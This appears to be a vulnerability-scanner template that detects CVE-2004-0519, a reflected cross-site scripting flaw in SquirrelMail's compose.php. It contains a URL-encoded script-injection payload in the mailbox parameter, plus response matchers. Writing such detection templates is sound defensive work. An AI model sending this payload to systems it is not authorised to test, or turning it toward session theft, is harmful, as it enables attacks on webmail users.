id: CVE-2004-0519 info: name: SquirrelMail 1.4.x - Folder Name Cross-Site Scripting author: dhiyaneshDk severity: medium description: Multiple cross-site scripting (XSS) vulnerabilities in SquirrelMail 1.4.2 allow remote attackers to execute arbitrary script and possibly steal authentication information via multiple attack vectors, including the mailbox parameter in compose.php. reference: - https://www.exploit-db.com/exploits/24068 - ftp://patches.sgi.com/support/free/security/advisories/20040604-01-U.asc classification: cve-id: CVE-2004-0519 remediation: Upgrade to the latest version. tags: xss,squirrelmail,cve2004,cve requests: - method: GET path: - '{{BaseURL}}/mail/src/compose.php?mailbox=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' matchers-condition: and matchers: - type: status status: - 200 - type: word part: body words: - "" - type: word part: header words: - "text/html" # Enhanced by mp on 2022/01/27